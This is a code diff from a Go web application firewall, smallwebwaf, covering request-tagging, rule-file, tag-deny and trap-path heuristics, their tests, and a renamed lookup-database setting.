// routeWatchTags adds to the request the tags asn=<number> and prefix=<netblock>
|
||||
// from what routewatch answered about the client. It refuses nothing, and the
|
||||
// request does not wait for routewatch. A request that gets no tags from it has
|
||||
// the reason in the log line's routewatch_tags_missing. While SWW_ROUTEWATCH_URL
|
||||
// is unset it does nothing. Answers are kept by client and asked for by the
|
||||
// request's address, and a route without an origin AS gives only the prefix= tag.
|
||||
type routeWatchTags struct{}
|
||||
|
||||
func (routeWatchTags) name() string { return "routewatch_tags" }
|
||||
|
||||
func (routeWatchTags) check(ctx context.Context, rq *request, _ time.Time) *verdict {
|
||||
if rq.h.routeWatch == nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
route, missing := rq.h.routeWatch.Route(ctx, rq.h.clientGroup(rq.client), rq.client)
|
||||
if missing != "" {
|
||||
rq.line.RouteWatchTagsMissing = string(missing)
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
rq.addTag(config.PrefixTagPrefix + route.Netblock.String())
|
||||
|
||||
if route.ASN != 0 {
|
||||
rq.addTag(config.ASNTagPrefix + strconv.FormatUint(uint64(route.ASN), 10))
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
@@ -1,245 +0,0 @@
|
||||
package discriminator_test
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"net/netip"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/discriminator"
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
)
|
||||
|
||||
// routeWatchURL is SWW_ROUTEWATCH_URL, and tagsMissing the log line's field
|
||||
// that says why a request got no tags from routewatch.
|
||||
const (
|
||||
routeWatchURL = "SWW_ROUTEWATCH_URL"
|
||||
tagsMissing = "routewatch_tags_missing"
|
||||
fromV6 = "2001:db8:1::5"
|
||||
prefixV6 = "2001:db8::/32"
|
||||
prefixDE = "203.0.113.0/24"
|
||||
prefixKP = "198.51.100.0/24"
|
||||
)
|
||||
|
||||
// standInRoute is what the stand-in for routewatch answers about an address.
|
||||
type standInRoute struct {
|
||||
Netblock string `json:"netblock"`
|
||||
ASN int `json:"asn"`
|
||||
}
|
||||
|
||||
// startRouteWatch starts a stand-in for routewatch's IP info API that knows the
|
||||
// routes given by address, and returns its URL.
|
||||
func startRouteWatch(t *testing.T, routes map[string]standInRoute) string {
|
||||
t.Helper()
|
||||
|
||||
server := httptest.NewServer(http.HandlerFunc(
|
||||
func(w http.ResponseWriter, r *http.Request) {
|
||||
address := strings.TrimPrefix(r.URL.Path, "/api/v1/ip/")
|
||||
|
||||
result := map[string]any{"ip": address}
|
||||
if route, known := routes[address]; known {
|
||||
result["netblock"], result["asn"] = route.Netblock, route.ASN
|
||||
}
|
||||
|
||||
_ = json.NewEncoder(w).Encode(map[string]any{
|
||||
"status": "ok",
|
||||
"data": map[string]any{"results": []any{result}},
|
||||
})
|
||||
}))
|
||||
t.Cleanup(server.Close)
|
||||
|
||||
return server.URL
|
||||
}
|
||||
|
||||
// waitForRouteWatch waits until routewatch's answer about from, in the client
|
||||
// group of the given length, is kept, so that the next request gets its tags.
|
||||
func waitForRouteWatch(
|
||||
t *testing.T, server *discriminator.Server, from string, bits int,
|
||||
) {
|
||||
t.Helper()
|
||||
|
||||
addr := netip.MustParseAddr(from)
|
||||
client := netip.PrefixFrom(addr, bits).Masked()
|
||||
deadline := time.Now().Add(5 * time.Second)
|
||||
|
||||
for {
|
||||
_, missing := server.RouteWatch.Route(context.Background(), client, addr)
|
||||
if missing == "" {
|
||||
return
|
||||
}
|
||||
|
||||
if time.Now().After(deadline) {
|
||||
t.Fatalf("routewatch's answer about %s not kept: %q", from, missing)
|
||||
}
|
||||
|
||||
time.Sleep(time.Millisecond)
|
||||
}
|
||||
}
|
||||
|
||||
func wantTagsMissing(t *testing.T, line logLine, want string) {
|
||||
t.Helper()
|
||||
|
||||
got, _ := line.fields[tagsMissing].(string)
|
||||
if got != want {
|
||||
t.Errorf("log line has %s %q, want %q", tagsMissing, got, want)
|
||||
}
|
||||
}
|
||||
|
||||
func TestRouteWatchTagsAreOnTheLogLineWithTheLookupsTags(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
url := startRouteWatch(t, map[string]standInRoute{fromDE: {prefixDE, 64496}})
|
||||
s, server, _ := startWithLookups(t, map[string]string{routeWatchURL: url})
|
||||
|
||||
waitForRouteWatch(t, server, fromDE, 32)
|
||||
|
||||
line := s.get(fromDE, http.StatusOK, requestlog.ActionForward)
|
||||
wantTags(t, line, "asn=64496", "country=DE", "prefix="+prefixDE)
|
||||
wantTagsMissing(t, line, "")
|
||||
}
|
||||
|
||||
func TestRouteWatchTagsAreOnALineDenyNetsRefused(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
url := startRouteWatch(t, map[string]standInRoute{fromKP: {prefixKP, 64511}})
|
||||
s, _, server := startWithClock(t, "", map[string]string{
|
||||
lookupSource: off, routeWatchURL: url, denyNets: fromKP,
|
||||
})
|
||||
|
||||
waitForRouteWatch(t, server, fromKP, 32)
|
||||
|
||||
line := s.get(fromKP, http.StatusForbidden, requestlog.ActionClientDenied)
|
||||
wantHeuristic(t, line, "deny_nets", `{"netblock": "`+fromKP+`/32"}`)
|
||||
wantTags(t, line, "asn=64511", "prefix="+prefixKP)
|
||||
}
|
||||
|
||||
func TestRouteWithoutAnOriginASGivesOnlyThePrefixTag(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
url := startRouteWatch(t, map[string]standInRoute{fromDE: {prefixDE, 0}})
|
||||
s, _, server := startWithClock(t, "", map[string]string{
|
||||
lookupSource: off, routeWatchURL: url,
|
||||
})
|
||||
|
||||
waitForRouteWatch(t, server, fromDE, 32)
|
||||
|
||||
wantTags(t, s.get(fromDE, http.StatusOK, requestlog.ActionForward),
|
||||
"prefix="+prefixDE)
|
||||
}
|
||||
|
||||
func TestUnsetRouteWatchChangesNothing(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, _, server := startWithClock(t, "", map[string]string{lookupSource: off})
|
||||
|
||||
if server.RouteWatch != nil {
|
||||
t.Error("RouteWatch is set while SWW_ROUTEWATCH_URL is unset")
|
||||
}
|
||||
|
||||
line := s.get(fromDE, http.StatusOK, requestlog.ActionForward)
|
||||
if _, present := line.fields[tagsMissing]; present {
|
||||
t.Errorf("log line has %s", tagsMissing)
|
||||
}
|
||||
|
||||
if _, present := line.fields["tags"]; present {
|
||||
t.Errorf("log line has tags %v", line.fields["tags"])
|
||||
}
|
||||
}
|
||||
|
||||
func TestUnreachableRouteWatchLetsTheRequestThroughAndSaysWhy(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
// A stand-in that is closed at once, so that the port refuses connections.
|
||||
dead := httptest.NewServer(http.NotFoundHandler())
|
||||
url := dead.URL
|
||||
|
||||
dead.Close()
|
||||
|
||||
s, _, _ := startWithClock(t, "", map[string]string{
|
||||
lookupSource: off, routeWatchURL: url,
|
||||
})
|
||||
|
||||
wantTagsMissing(t, s.get(fromDE, http.StatusOK, requestlog.ActionForward),
|
||||
"no_answer_yet")
|
||||
|
||||
deadline := time.Now().Add(5 * time.Second)
|
||||
|
||||
for {
|
||||
line := s.get(fromDE, http.StatusOK, requestlog.ActionForward)
|
||||
|
||||
missing, _ := line.fields[tagsMissing].(string)
|
||||
if missing == "request_failed" {
|
||||
return
|
||||
}
|
||||
|
||||
if time.Now().After(deadline) {
|
||||
t.Fatalf("still %q, want request_failed", missing)
|
||||
}
|
||||
|
||||
time.Sleep(time.Millisecond)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAddressWithoutARouteHasNoTagsAndTheLineSaysSo(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, _, _ := startWithClock(t, "", map[string]string{
|
||||
lookupSource: off, routeWatchURL: startRouteWatch(t, nil),
|
||||
})
|
||||
|
||||
deadline := time.Now().Add(5 * time.Second)
|
||||
|
||||
for {
|
||||
line := s.get(fromDE, http.StatusOK, requestlog.ActionForward)
|
||||
|
||||
missing, _ := line.fields[tagsMissing].(string)
|
||||
if missing == "no_route" {
|
||||
return
|
||||
}
|
||||
|
||||
if time.Now().After(deadline) {
|
||||
t.Fatalf("still %q, want no_route", missing)
|
||||
}
|
||||
|
||||
time.Sleep(time.Millisecond)
|
||||
}
|
||||
}
|
||||
|
||||
func TestTagDenyRefusesOnARouteWatchPrefix(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
url := startRouteWatch(t, map[string]standInRoute{
|
||||
fromDE: {prefixDE, 64496}, fromKP: {prefixKP, 64511},
|
||||
})
|
||||
s, _, server := startWithClock(t, "", map[string]string{
|
||||
lookupSource: off, routeWatchURL: url, tagDeny: "prefix=" + prefixKP,
|
||||
})
|
||||
|
||||
waitForRouteWatch(t, server, fromKP, 32)
|
||||
waitForRouteWatch(t, server, fromDE, 32)
|
||||
|
||||
wantHeuristic(t, s.get(fromKP, http.StatusForbidden, requestlog.ActionClientDenied),
|
||||
"tag_deny", `{"tag": "prefix=`+prefixKP+`"}`)
|
||||
s.get(fromDE, http.StatusOK, requestlog.ActionForward)
|
||||
}
|
||||
|
||||
func TestTagLimitPercentWorksWithAnIPv6Prefix(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
url := startRouteWatch(t, map[string]standInRoute{fromV6: {prefixV6, 64496}})
|
||||
s, _, server := startWithClock(t, "", map[string]string{
|
||||
lookupSource: off, routeWatchURL: url, rateLimitPerMinute: "2",
|
||||
tagLimitPercent: "prefix=" + prefixV6 + ":50",
|
||||
})
|
||||
|
||||
waitForRouteWatch(t, server, fromV6, 64)
|
||||
|
||||
// Half of two is one: the second request breaks the limit.
|
||||
line := s.get(fromV6, http.StatusOK, requestlog.ActionForward)
|
||||
wantTags(t, line, "asn=64496", "prefix="+prefixV6)
|
||||
s.get(fromV6, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
|
||||
}
|
||||
@@ -1,62 +0,0 @@
|
||||
package discriminator
|
||||
|
||||
// The heuristic rule_files. It reads the rules of the rule files, which
|
||||
// SWW_RULES_DIR and SWW_RULES_ENABLED name.
|
||||
|
||||
import (
|
||||
"context"
|
||||
"time"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/bans"
|
||||
"sneak.berlin/go/smallwebwaf/internal/config"
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
"sneak.berlin/go/smallwebwaf/internal/rules"
|
||||
)
|
||||
|
||||
// ruleFiles checks the request against the rules of the rule files at now,
|
||||
// notes the ids of those it matches in the log line, adds the tag
|
||||
// exploitsignature when it matches any, and refuses the request
|
||||
// when the last rule it matches refuses it: with ActionBlockedByBlockRule for a
|
||||
// block rule, and for a ban rule with the action for the ban it makes. A ban
|
||||
// rule bans the client's netblock for a clear sign of attack, or in observe
|
||||
// mode raises the alert for the ban
|
||||
// it would have made. Either rule's match is noted as an offence, for the
|
||||
// client's history. Its figures are the rule's id and action.
|
||||
type ruleFiles struct{}
|
||||
|
||||
func (ruleFiles) name() string { return "rule_files" }
|
||||
|
||||
func (ruleFiles) check(_ context.Context, rq *request, now time.Time) *verdict {
|
||||
matched := rq.h.rules.Match(rq.in)
|
||||
|
||||
for _, rule := range matched {
|
||||
rq.line.RuleIDs = append(rq.line.RuleIDs, rule.ID)
|
||||
rq.h.metrics.RuleMatched(rule.ID, rule.Action)
|
||||
}
|
||||
|
||||
if len(matched) == 0 {
|
||||
return nil
|
||||
}
|
||||
|
||||
rq.addTag(config.ExploitSignatureTag)
|
||||
|
||||
// Only the last rule matched can refuse the request.
|
||||
last := matched[len(matched)-1]
|
||||
figures := map[string]any{"rule_id": last.ID, "rule_action": last.Action}
|
||||
|
||||
switch last.Action {
|
||||
case rules.ActionBlock:
|
||||
rq.blockedByBlockRule = true
|
||||
|
||||
return &verdict{action: requestlog.ActionBlockedByBlockRule, figures: figures}
|
||||
case rules.ActionBan:
|
||||
rq.attack = true
|
||||
|
||||
return &verdict{
|
||||
action: rq.banForAttack(now, bans.Notes{RuleID: last.ID, Target: last.Target}),
|
||||
figures: figures,
|
||||
}
|
||||
default:
|
||||
return nil
|
||||
}
|
||||
}
|
||||
@@ -1,30 +0,0 @@
|
||||
package discriminator
|
||||
|
||||
// The heuristic tag_deny. It reads SWW_TAG_DENY.
|
||||
|
||||
import (
|
||||
"context"
|
||||
"slices"
|
||||
"time"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
)
|
||||
|
||||
// tagDeny refuses a request that carries a tag in SWW_TAG_DENY. Its figure is
|
||||
// the first such tag, in sorted order.
|
||||
type tagDeny struct{}
|
||||
|
||||
func (tagDeny) name() string { return "tag_deny" }
|
||||
|
||||
func (tagDeny) check(_ context.Context, rq *request, _ time.Time) *verdict {
|
||||
for _, tag := range rq.line.Tags {
|
||||
if slices.Contains(rq.h.config.TagDeny, tag) {
|
||||
return &verdict{
|
||||
action: requestlog.ActionClientDenied,
|
||||
figures: map[string]any{"tag": tag},
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
@@ -1,124 +0,0 @@
|
||||
package discriminator_test
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
"testing"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
)
|
||||
|
||||
func TestTagDenyRefusesALookupTagAndNamesTheTag(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
// The setting takes a country code in either case; the request's tag is
|
||||
// in capitals.
|
||||
s, _, _ := startWithLookups(t, map[string]string{tagDeny: "Country=kp"})
|
||||
|
||||
line := s.get(fromKP, http.StatusForbidden, requestlog.ActionClientDenied)
|
||||
wantHeuristic(t, line, "tag_deny", `{"tag": "country=KP"}`)
|
||||
wantTags(t, line, "asn=64511", "country=KP")
|
||||
|
||||
s.get(fromDE, http.StatusOK, requestlog.ActionForward)
|
||||
}
|
||||
|
||||
func TestTagDenyRefusesAnASNTag(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, _, _ := startWithLookups(t, map[string]string{tagDeny: "asn=64511"})
|
||||
|
||||
wantHeuristic(t, s.get(fromKP, http.StatusForbidden, requestlog.ActionClientDenied),
|
||||
"tag_deny", `{"tag": "asn=64511"}`)
|
||||
s.get(fromDE, http.StatusOK, requestlog.ActionForward)
|
||||
}
|
||||
|
||||
func TestTagDenyRefusesAListTagBeforeTheRateLimitsCount(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, server, _ := startWithLookups(t, map[string]string{
|
||||
tagLists: "torexit=" + torList, tagDeny: "torexit", rateLimitPerMinute: "1",
|
||||
})
|
||||
loadLists(t, server, map[string][]string{torList: {fromDE}})
|
||||
|
||||
// Each is refused for its tag: none is counted to break the limit of one.
|
||||
for range 3 {
|
||||
wantHeuristic(t, s.get(fromDE, http.StatusForbidden, requestlog.ActionClientDenied),
|
||||
"tag_deny", `{"tag": "torexit"}`)
|
||||
}
|
||||
}
|
||||
|
||||
func TestTagDenyRefusesAMixedCaseZoneByItsLowerCaseTag(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const mixedCaseZone = "DNSBL.example"
|
||||
|
||||
// The zone's tag is in lower case, however SWW_DNSBL_ZONES writes it.
|
||||
s, server, _ := startWithLookups(t, map[string]string{
|
||||
dnsblZones: mixedCaseZone, dnsblResolver: noResolver,
|
||||
reputationAction: actionLog, tagDeny: "dnsbl=" + dnsblZone,
|
||||
})
|
||||
loadVerdicts(server, map[string][]string{fromDE: {mixedCaseZone}})
|
||||
|
||||
wantHeuristic(t, s.get(fromDE, http.StatusForbidden, requestlog.ActionClientDenied),
|
||||
"tag_deny", `{"tag": "dnsbl=`+dnsblZone+`"}`)
|
||||
}
|
||||
|
||||
func TestTagDenyRefusesAnExploitSignatureOfARuleThatOnlyLogs(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, _, _ := startWithClock(t, "", map[string]string{
|
||||
rulesDir: writeRules(t, "noted path log ^/\n"), tagDeny: "exploitsignature",
|
||||
})
|
||||
|
||||
line := s.get(client, http.StatusForbidden, requestlog.ActionClientDenied)
|
||||
wantHeuristic(t, line, "tag_deny", `{"tag": "exploitsignature"}`)
|
||||
wantTags(t, line, "exploitsignature")
|
||||
}
|
||||
|
||||
func TestTagLimitPercentLowersALimitTheLowestWinning(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, server, _ := startWithLookups(t, map[string]string{
|
||||
rateLimitPerMinute: fourAMinute,
|
||||
tagLists: "vpn=" + vpnList + ",tor=" + torList,
|
||||
tagLimitPercent: "vpn:50,tor:25",
|
||||
})
|
||||
loadLists(t, server, map[string][]string{vpnList: {fromDE}, torList: {fromDE}})
|
||||
|
||||
// A quarter of 4 requests a minute: the second breaks the limit.
|
||||
s.get(fromDE, http.StatusOK, requestlog.ActionForward)
|
||||
|
||||
line := s.get(fromDE, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
|
||||
wantPercent(t, "rate_limit_percent",
|
||||
line.RateLimitPercent, line.RateLimitPercentSetting,
|
||||
"25 from "+tagLimitPercent)
|
||||
}
|
||||
|
||||
func TestTagLimitPercentLowersAByteLimitByAListTag(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, server, _ := startWithLookups(t, map[string]string{
|
||||
bytesLimitPerMinute: twoUploads,
|
||||
tagLists: "vpn=" + vpnList,
|
||||
tagLimitPercent: "vpn:50",
|
||||
})
|
||||
loadLists(t, server, map[string][]string{vpnList: {fromDE}})
|
||||
|
||||
// The upload's 100 bytes are over half of 199, 99.
|
||||
line := s.uploadFrom(fromDE)
|
||||
if line.LimitHit != minuteBytes {
|
||||
t.Errorf("log line has limit_hit %q, want %s", line.LimitHit, minuteBytes)
|
||||
}
|
||||
|
||||
wantPercent(t, "bytes_limit_percent",
|
||||
line.BytesLimitPercent, line.BytesLimitPercentSetting,
|
||||
"50 from "+tagLimitPercent)
|
||||
|
||||
// fromKP, which the list does not hold, has the whole limit.
|
||||
line = s.uploadFrom(fromKP)
|
||||
if line.LimitHit != "" {
|
||||
t.Errorf("log line for %s has limit_hit %q, want none", fromKP, line.LimitHit)
|
||||
}
|
||||
|
||||
wantPercent(t, "bytes_limit_percent",
|
||||
line.BytesLimitPercent, line.BytesLimitPercentSetting, none)
|
||||
}
|
||||
@@ -1,24 +0,0 @@
|
||||
package discriminator
|
||||
|
||||
// The heuristic tag_lists. It reads the address lists of SWW_TAG_LISTS through
|
||||
// the reputation lists.
|
||||
|
||||
import (
|
||||
"context"
|
||||
"time"
|
||||
)
|
||||
|
||||
// tagLists adds to the request one tag for each list of SWW_TAG_LISTS that
|
||||
// holds the client, the tag being the list's name. It refuses nothing, and runs
|
||||
// first so that every refusal's log line carries these tags.
|
||||
type tagLists struct{}
|
||||
|
||||
func (tagLists) name() string { return "tag_lists" }
|
||||
|
||||
func (tagLists) check(_ context.Context, rq *request, _ time.Time) *verdict {
|
||||
for _, name := range rq.h.lists.TagsOf(rq.client) {
|
||||
rq.addTag(name)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
@@ -1,100 +0,0 @@
|
||||
package discriminator_test
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
"slices"
|
||||
"testing"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
)
|
||||
|
||||
// tagLists is SWW_TAG_LISTS, and vpnList and torList lists it names.
|
||||
const (
|
||||
tagLists = "SWW_TAG_LISTS"
|
||||
vpnList = "https://lists.example/vpn.txt"
|
||||
torList = "https://lists.example/torexit.txt"
|
||||
)
|
||||
|
||||
// wantTags checks the log line's tags.
|
||||
func wantTags(t *testing.T, line logLine, want ...string) {
|
||||
t.Helper()
|
||||
|
||||
got, _ := line.fields["tags"].([]any)
|
||||
|
||||
tags := make([]string, 0, len(got))
|
||||
for _, tag := range got {
|
||||
text, _ := tag.(string)
|
||||
tags = append(tags, text)
|
||||
}
|
||||
|
||||
if !slices.Equal(tags, want) {
|
||||
t.Errorf("log line has tags %v, want %v", tags, want)
|
||||
}
|
||||
}
|
||||
|
||||
func TestLookupAndTagListsGiveTheRequestItsTagsSorted(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, server, _ := startWithLookups(t, map[string]string{
|
||||
tagLists: "vpn=mullvad=" + vpnList + ",TorExit=" + torList,
|
||||
})
|
||||
loadLists(t, server, map[string][]string{
|
||||
vpnList: {fromDE}, torList: {fromDE + "/32", fromKP},
|
||||
})
|
||||
|
||||
wantTags(t, s.get(fromDE, http.StatusOK, requestlog.ActionForward),
|
||||
"asn=64496", "country=DE", "torexit", "vpn=mullvad")
|
||||
wantTags(t, s.get(fromKP, http.StatusOK, requestlog.ActionForward),
|
||||
"asn=64511", "country=KP", "torexit")
|
||||
}
|
||||
|
||||
func TestRequestWithoutATagLeavesTheFieldOut(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
// With no lookup, a client is not placed and no setting gives it a tag.
|
||||
s, _, _ := startWithClock(t, "", map[string]string{lookupSource: "off"})
|
||||
|
||||
line := s.get(fromDE, http.StatusOK, requestlog.ActionForward)
|
||||
if _, present := line.fields["tags"]; present {
|
||||
t.Errorf("log line has tags %v, want none", line.fields["tags"])
|
||||
}
|
||||
}
|
||||
|
||||
func TestTagListsTagEvenARequestTheCountryListRefuses(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, server, _ := startWithLookups(t, map[string]string{
|
||||
tagLists: "vpn=" + vpnList, allowedCountries: "de",
|
||||
})
|
||||
loadLists(t, server, map[string][]string{vpnList: {fromKP}})
|
||||
|
||||
wantTags(t, s.get(fromKP, http.StatusForbidden, requestlog.ActionCountryDenied),
|
||||
"asn=64511", "country=KP", "vpn")
|
||||
}
|
||||
|
||||
func TestTagListsTagARequestRefusedBeforeTheLookup(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, server, _ := startWithLookups(t, map[string]string{
|
||||
tagLists: "vpn=" + vpnList, denyNets: fromKP, rateLimitPerMinute: "1",
|
||||
})
|
||||
loadLists(t, server, map[string][]string{vpnList: {fromDE, fromKP}})
|
||||
|
||||
line := s.get(fromKP, http.StatusForbidden, requestlog.ActionClientDenied)
|
||||
if line.Heuristic != "deny_nets" {
|
||||
t.Errorf("log line has heuristic %q, want deny_nets", line.Heuristic)
|
||||
}
|
||||
|
||||
wantTags(t, line, "vpn")
|
||||
|
||||
// The second request breaks the limit of one a minute, which bans the client.
|
||||
s.get(fromDE, http.StatusOK, requestlog.ActionForward)
|
||||
s.get(fromDE, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
|
||||
|
||||
line = s.get(fromDE, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
|
||||
if line.Heuristic != "active_ban" {
|
||||
t.Errorf("log line has heuristic %q, want active_ban", line.Heuristic)
|
||||
}
|
||||
|
||||
wantTags(t, line, "vpn")
|
||||
}
|
||||
@@ -1,37 +0,0 @@
|
||||
package discriminator
|
||||
|
||||
// The heuristic trap_paths. It reads SWW_TRAP_PATHS.
|
||||
|
||||
import (
|
||||
"context"
|
||||
"slices"
|
||||
"time"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/bans"
|
||||
"sneak.berlin/go/smallwebwaf/internal/rules"
|
||||
)
|
||||
|
||||
// trapPaths refuses a request for a path in SWW_TRAP_PATHS: its path as a
|
||||
// path rule sees it, without the query, as sent or once percent-decoded, is one
|
||||
// of them. Such a request is a clear sign of attack, as a ban rule's match is:
|
||||
// it bans the client's netblock, or in observe mode raises the alert for the
|
||||
// ban it would have made. The ban's notes give the path as sent, and so does
|
||||
// its figure.
|
||||
type trapPaths struct{}
|
||||
|
||||
func (trapPaths) name() string { return "trap_paths" }
|
||||
|
||||
func (trapPaths) check(_ context.Context, rq *request, now time.Time) *verdict {
|
||||
path := rules.Path(rq.in)
|
||||
if !slices.Contains(rq.h.config.TrapPaths, path) &&
|
||||
!slices.Contains(rq.h.config.TrapPaths, rules.DecodeOnce(path)) {
|
||||
return nil
|
||||
}
|
||||
|
||||
rq.attack = true
|
||||
|
||||
return &verdict{
|
||||
action: rq.banForAttack(now, bans.Notes{TrapPath: path}),
|
||||
figures: map[string]any{"path": path},
|
||||
}
|
||||
}
|
||||
+8
-18
@@ -24,7 +24,7 @@ const quietTime = 2 * time.Second
|
||||
// FileParams are what OpenFile needs.
|
||||
type FileParams struct {
|
||||
// Path is the lookup database, the IPinfo Lite file in its .mmdb form
|
||||
// (SWW_LOOKUP_DB_PATH).
|
||||
// (SWWAF_LOOKUP_DB_PATH).
|
||||
Path string
|
||||
// Now tells the time, normally time.Now.
|
||||
Now func() time.Time
|
||||
@@ -51,7 +51,7 @@ type File struct {
|
||||
}
|
||||
|
||||
// record is what the lookup database holds about a network, of the fields
|
||||
// sww reads.
|
||||
// smallwebwaf reads.
|
||||
type record struct {
|
||||
ASN string `maxminddb:"asn"`
|
||||
ASName string `maxminddb:"as_name"`
|
||||
@@ -133,11 +133,8 @@ func (f *File) Watch(ctx context.Context) {
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
f.params.ProcessLog.Error(
|
||||
"cannot watch the lookup database for replacements",
|
||||
"error",
|
||||
err.Error(),
|
||||
)
|
||||
f.params.ProcessLog.Error("cannot watch the lookup database for replacements",
|
||||
"error", err.Error())
|
||||
|
||||
return
|
||||
}
|
||||
@@ -197,10 +194,7 @@ func (f *File) readAgain() {
|
||||
f.params.Alerts.Raise(alerts.Alert{
|
||||
Event: alerts.EventFileError,
|
||||
Reason: kept,
|
||||
Detail: map[string]any{
|
||||
"file": f.params.Path,
|
||||
"error": err.Error(),
|
||||
},
|
||||
Detail: map[string]any{"file": f.params.Path, "error": err.Error()},
|
||||
})
|
||||
f.params.ProcessLog.Error(kept, "error", err.Error())
|
||||
|
||||
@@ -218,11 +212,7 @@ func (f *File) use(reader *maxminddb.Reader) {
|
||||
f.lastRead = f.params.Now()
|
||||
f.mu.Unlock()
|
||||
|
||||
f.params.ProcessLog.Info(
|
||||
"read the lookup database",
|
||||
"file",
|
||||
f.params.Path,
|
||||
)
|
||||
f.params.ProcessLog.Info("read the lookup database", "file", f.params.Path)
|
||||
}
|
||||
|
||||
// read reads the lookup database at path. The whole file is read into
|
||||
@@ -231,12 +221,12 @@ func (f *File) use(reader *maxminddb.Reader) {
|
||||
func read(path string) (*maxminddb.Reader, error) {
|
||||
data, err := os.ReadFile(path) //nolint:gosec // the file the admin names
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("SWW_LOOKUP_DB_PATH cannot be read: %w", err)
|
||||
return nil, fmt.Errorf("SWWAF_LOOKUP_DB_PATH cannot be read: %w", err)
|
||||
}
|
||||
|
||||
reader, err := maxminddb.OpenBytes(data)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("SWW_LOOKUP_DB_PATH %s is not a .mmdb file: %w", path, err)
|
||||
return nil, fmt.Errorf("SWWAF_LOOKUP_DB_PATH %s is not a .mmdb file: %w", path, err)
|
||||
}
|
||||
|
||||
return reader, nil
|
||||
|
||||
@@ -99,9 +99,9 @@ func TestFileThatCannotBeReadIsAnError(t *testing.T) {
|
||||
writeFile(t, notDatabase, "not a lookup database\n")
|
||||
|
||||
for path, want := range map[string]string{
|
||||
missing: "SWW_LOOKUP_DB_PATH cannot be read: open " + missing +
|
||||
missing: "SWWAF_LOOKUP_DB_PATH cannot be read: open " + missing +
|
||||
": no such file or directory",
|
||||
notDatabase: "SWW_LOOKUP_DB_PATH " + notDatabase +
|
||||
notDatabase: "SWWAF_LOOKUP_DB_PATH " + notDatabase +
|
||||
" is not a .mmdb file: error opening database: invalid MaxMind DB file",
|
||||
} {
|
||||
_, err := OpenFile(FileParams{
|
||||
@@ -216,7 +216,7 @@ func TestReplacementThatCannotBeReadLeavesTheFileInUseWithOneAlert(t *testing.T)
|
||||
Reason: "the lookup database cannot be read, and the one read before stays in use",
|
||||
Detail: map[string]any{
|
||||
"file": path,
|
||||
"error": "SWW_LOOKUP_DB_PATH " + path + " is not a .mmdb file: " +
|
||||
"error": "SWWAF_LOOKUP_DB_PATH " + path + " is not a .mmdb file: " +
|
||||
"error opening database: invalid MaxMind DB file",
|
||||
},
|
||||
})
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
// Package lookup looks up each client's AS number and country, through
|
||||
// the GeoJS web service or in the lookup database, the IPinfo Lite file
|
||||
// SWW_LOOKUP_DB_PATH names. GeoJS's answers are kept in memory, for at
|
||||
// SWWAF_LOOKUP_DB_PATH names. GeoJS's answers are kept in memory, for at
|
||||
// most 100,000 clients and for 7 days each, and are written to
|
||||
// lookups.json and read from it by the state package.
|
||||
package lookup
|
||||
@@ -66,7 +66,7 @@ type Params struct {
|
||||
URL string
|
||||
// Timeout is how long a request waits for its client's first answer,
|
||||
// and how long a request to GeoJS may take before it is abandoned
|
||||
// (SWW_LOOKUP_TIMEOUT).
|
||||
// (SWWAF_LOOKUP_TIMEOUT).
|
||||
Timeout time.Duration
|
||||
// Wait is true when a setting needs each request's answer before the
|
||||
// request goes on. Otherwise no request waits for one.
|
||||
@@ -198,7 +198,7 @@ func (g *GeoJS) LookUp(ctx context.Context, client netip.Prefix) Answer {
|
||||
|
||||
answer, found := g.kept(client)
|
||||
if !found {
|
||||
g.metrics.RequestsWithoutGeoJSAnswer.Inc()
|
||||
g.metrics.GeoJSUnanswered.Inc()
|
||||
}
|
||||
|
||||
w, waiting := g.waiting[client]
|
||||
@@ -296,7 +296,7 @@ func (g *GeoJS) answerOrWait(
|
||||
}
|
||||
|
||||
if w == nil {
|
||||
